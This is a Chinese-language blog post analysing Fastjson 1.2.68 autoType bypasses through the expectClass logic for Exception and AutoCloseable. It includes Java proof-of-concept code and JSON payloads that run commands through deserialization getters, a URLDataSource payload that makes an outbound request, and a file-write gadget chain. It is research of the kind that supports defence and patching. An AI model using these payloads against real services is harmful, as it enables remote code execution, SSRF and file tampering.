Fastjson1.2.68 繞Autotype的一點總結


這篇文章主要總結學習目前網上關於1.2.68下繞過Autotype的一些方法用到的思路。

前置知識:

checkautotype因為是對要進行反序列化的類進行檢測的方法

 

所以我們只需要讓其返回Class類型的實例即可

一般會有以下幾種情況通過驗證:

1.autoTypeCheckHandlers不為null,通過此種方式來返回class

2.緩存mapping中的類:

從一處取的,在二處返回

其中在TypeUtils的addMappings中放入了一些基礎類,也就是默認可以反序列化的相關類

 

3.不在黑名單,但在白名單之中的類

4.使用了jsonType注解的類

 

 

5.@type反序列化時指定了expectclass,也就是說反序列化的時候指定了期望類

在判斷為True時exceptclass不能為以下幾種類型

並且反序列化的類不能繼承或者實現Classloader、DataSource、RowSet

繞過方法1:

那么如果沒有開AutoType,並且如果指定了expectclass,即使要反序列化的類不在白名單中,也可以進行加載不在黑名單中的某些滿足條件的類

第一種:

通過Throwable.class

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 extends Exception {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }
    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.Exception\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"calc\"\n" +
               "        }";
        JSON.parseObject(a);
    }
}

其中@type第一個類作為excepteclazz(A),二個作為需要反序列化的類(B),這種繞過方式是因為Exception.class在parseConfig的mapping中,因此沒到checkAutoType時就已經返回了clazz,那么接着為該類選擇反序列化解析器,匹配到Throwable.class。

 接着在反序列化第一個type指定的類時,針對選擇的ThorowableDeserializer的deserialize方法,其將把Exception作為expectClass

 

接着繼續掃描json字符串后面的,就能獲取到要反序列化的類名,也就是第二個@type指定的類名,作為exClassName傳入checkAutoType,此時checkAutotype傳入的第二個參數為Throable.class也為Exception.class的接口,此時如果exClassName是實現或繼承自Throwable就能過checkAutotype

 

那么在json字符串中第二個type處的類名將作為要校驗的類名,Throwable將作為這個類的期望類

 

那么此時又因為checkAutotype傳入了expectclass,而expectclass又不等於if限制的這幾個常見類,所以在這一步expectClassFlag置為True,那么重點來了,此時只要反序列化的類不在黑名單中,那么及時要反序列化的類不在白名單中,只要繼承或實現自expectClass,那么通過下圖就能調用TypeUtils.loadClass進行加載,返回一個Class類型的實例

 

 然而又因為有接下來的1處和2處的限制,那么要找到jndi這種的類還得實現了Throwable接口的,就很難,這也是比較雞肋的一點。

 返回clazz后,將通過createException實例化exClass,此時exClass就是返回的第二個type處的類,接着繼續解析json將值放入otherValues,然后setvalue放入exClass

 

此時將通過反射為exClass對象賦值,其中method在解析

 

那么最終get的調用在完成賦值以后,將通過調用異常類的所有get方法包括接口以及自身定義的

 

比如調用getMessage時的調用棧如下所示:

繞過方法2:

 y4er師傅博客中寫到通過找checkAutoType的調用,看哪里傳入的expectClass不為null,那么再看其邏輯,那么下面四個框,只有第二和第四,第四個是繞過點1,那么第二個繞過點就是點2

 

 那么根據type指定的類在選擇反序列化解析器時,AutoCloseable類使用的是else分支的javabeanDesearializer

 

此時函數調用棧如下:

那么因為AutoCloseable不在黑名單中並且其在mapping中,因此就可以返回clazz進行加載,因此通過它就能實現反序列化

比如:

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 implements AutoCloseable {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }

    public String getDomain() throws IOException {
        System.out.println("tr1ple");
        Runtime.getRuntime().exec(domain);
        return domain;
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.AutoCloseable\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"             calc      \"\n" +
               "        }";
        JSON.parseObject(a);
    }

    @Override
    public void close() throws Exception {
    }
}

為什么jndi的gadget不好找?因為常見的jndi的gadget都繼承自 DataSource 和 RowSet,所以反序列化的類過不了對return clazz的最后的驗證。

淺藍師傅還分享了另一個例子:

import com.alibaba.fastjson.JSON;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import javax.swing.*;
import java.net.URL;

public class testfj1 extends Exception {

    public testfj1() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }

    public static void main(String[] args) {
        String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}";
        JSON.parseObject(a);
    }
}

這個例子中setDataSource的入口參數需要通過@type來賦值,那么URL這個類是在白名單中的,所以能夠正常賦值,然而在setDataSource中存在URLDataSource賦值給this.dataSource,那么這樣賦值是不經過checkAutoType的邏輯的

因為對於JSON.parseObject來說,在調用parse解析輸入端json字符串為obj后,此時要調用一次toJSON轉為JSONObject(此時已經完成了setter的調用賦值)

 

那么在拿到testfj1這個類的成員變量以后,因此在JSON.toJSON中取得的反序列化的類testfj1的幾個gettter的filed信息,包括從Throwable繼承的4個getter和自身的getter共5個

 

 

 那么此時要放入到JSONObject中,那么對於其中的每個鍵和值都將put一次,那么對於其中的value,又要調用一次tojson(value)

 

那么對於賦值給datasource的URLDataSource而言,也要走一次tojson,因此此時要調用URLDataSource的所有getter

那么根據JavaBeanSerializer中的sortedGetters將循環放入map中,一共有五個filed(每個filedinfo都有一個getter與之對應),那么對應要調用其5個get方法獲取其值(用反射來實現)

 

 

那么對於inputStream,要調用URLDataSource的getInputStream

 

 那么在getInputStream中此時將觸發請求

此時的函數調用棧如下圖所示:

 

 

除了getInputStream,getContentType也能觸發

 

文件操作相關gadget:

淺藍師傅的文章中提到找文件操作相關的gadget的思路:

1.通過set或構造方法指定文件路徑的outputStream

2.通過set或者構造方法能夠傳入字節數組,可以傳入outputStream,並且存在write將傳入的字節數組寫入到傳入的outputStream

3.通過set get tostring能夠調用flush完成數據寫出

比如:

rmb122(學弟太強了)的例子,主要通過fastjson反序列化調用無參構造函數然賦值指定文件的outputStream,再找能夠傳入這個包含文件路徑的stream的類,並能夠傳入字節數組,然后調用write向這個輸出流寫入字節數組的,他找的是

java.util.zip.InflaterOutputStream,然后通過最外層的marshalOutputStream來調用write完成寫入文件

 

 在parseobject解析到MarshalOutputStream后要反射通過構造器來實例化得到該類的對象,因此此時走到super(out),out中存儲着inflaterOutputstream用來寫數據

 

在drain總將調用this.out.write來寫數據

 

 

而inflater中out就是fileoutstream,存儲輸出路徑

 

調用棧如下圖所示:

參考:

https://b1ue.cn/archives/348.html

https://b1ue.cn/archives/382.html

https://y4er.com/post/fastjson-bypass-https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&chksm=fab2c0c2cdc549d43d21b91f435243661e00bf031aecdbbf5878522e4d03569f3981b2c8e6da&scene=126&sessionid=1597461507&key=1fa15854e5017e78c08db5d4c4c98468f36b29343ef1b65022a40e66f1c344e1cf8d55fd1996da1bca7dd78f1666a508c543e5aa920558e855b4538536162fb3a48c2e3d9a22c3abf40123baa437da55821ba7eff642bf588dee239317e2fbd9a46f89d17b44a50d68ebb463bc393638f9a7661ebde0356853fec50e007a1366&ascene=1&uin=MTcxNzgzMTQyMg%3D%3D&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=Ac60y0eMxnT1cqDwGjlpH5c%3D&pass_ticket=Ebbf7kHW%2F%2BiaFTbGKVvcjBwyIOOw3uJLI5JOzhcpgdsECH0q4pah%2B8PjR2AzBt5T-1268/

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM